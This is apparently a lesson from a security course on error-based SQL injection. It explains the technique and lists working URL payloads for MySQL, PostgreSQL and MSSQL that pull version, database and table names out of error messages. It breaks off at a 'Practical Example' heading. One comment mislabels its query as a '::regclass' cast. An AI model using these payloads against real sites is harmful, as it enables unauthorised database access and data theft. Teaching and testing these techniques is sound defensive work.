Error-Based Data Extraction

#Extracting Data Through Error Messages#link

Error-based SQL injection exploits verbose error messages to extract data from the database. When applications display database errors, attackers can craft queries that embed extracted data within the error output itself.

Building on our UNION injection knowledge, we now explore an alternative extraction method that works even when UNION is not viable or when output is limited.

How Error-Based Extraction Works

The technique involves deliberately causing database errors that include the results of subqueries. By embedding data extraction within functions that generate errors, the database returns the extracted data as part of the error message.

MySQL Error-Based Techniques

MySQL provides several functions that can be abused for error-based extraction. The most common include extractvalue(), updatexml(), and exp().

# Using extractvalue() with XPath syntax error
http://target.com/product.php?id=1 AND extractvalue(1,concat(0x7e,(SELECT version())))--

# Using updatexml() with XPath syntax error
http://target.com/product.php?id=1 AND updatexml(1,concat(0x7e,(SELECT database())),1)--

# Extract table names
http://target.com/product.php?id=1 AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())))--

PostgreSQL Error-Based Techniques

PostgreSQL error-based extraction typically uses the cast operator or type conversion functions to embed data in error messages.

# Using cast to integer error
http://target.com/product.php?id=1 AND 1=cast((SELECT version()) as int)--

# Using ::regclass cast
http://target.com/product.php?id=1 AND 1=cast((SELECT current_database()) as int)--

MSSQL Error-Based Techniques

Microsoft SQL Server provides several methods for error-based extraction, often leveraging type conversion or divide-by-zero with embedded subqueries.

# Using convert() for type conversion error
http://target.com/product.php?id=1 AND 1=convert(int,(SELECT @@version))--

# Extract table names
http://target.com/product.php?id=1 AND 1=convert(int,(SELECT top 1 table_name FROM information_schema.tables))--

Handling Length Limitations

Error-based extraction often has length limitations. The extractvalue() function, for example, only returns 32 characters. Use substring() to extract data in chunks.

# Extract data in 32-character chunks
http://target.com/product.php?id=1 AND extractvalue(1,concat(0x7e,(SELECT substring(group_concat(table_name),1,32) FROM information_schema.tables WHERE table_schema=database())))--

http://target.com/product.php?id=1 AND extractvalue(1,concat(0x7e,(SELECT substring(group_concat(table_name),33,64) FROM information_schema.tables WHERE table_schema=database())))--

Practical Example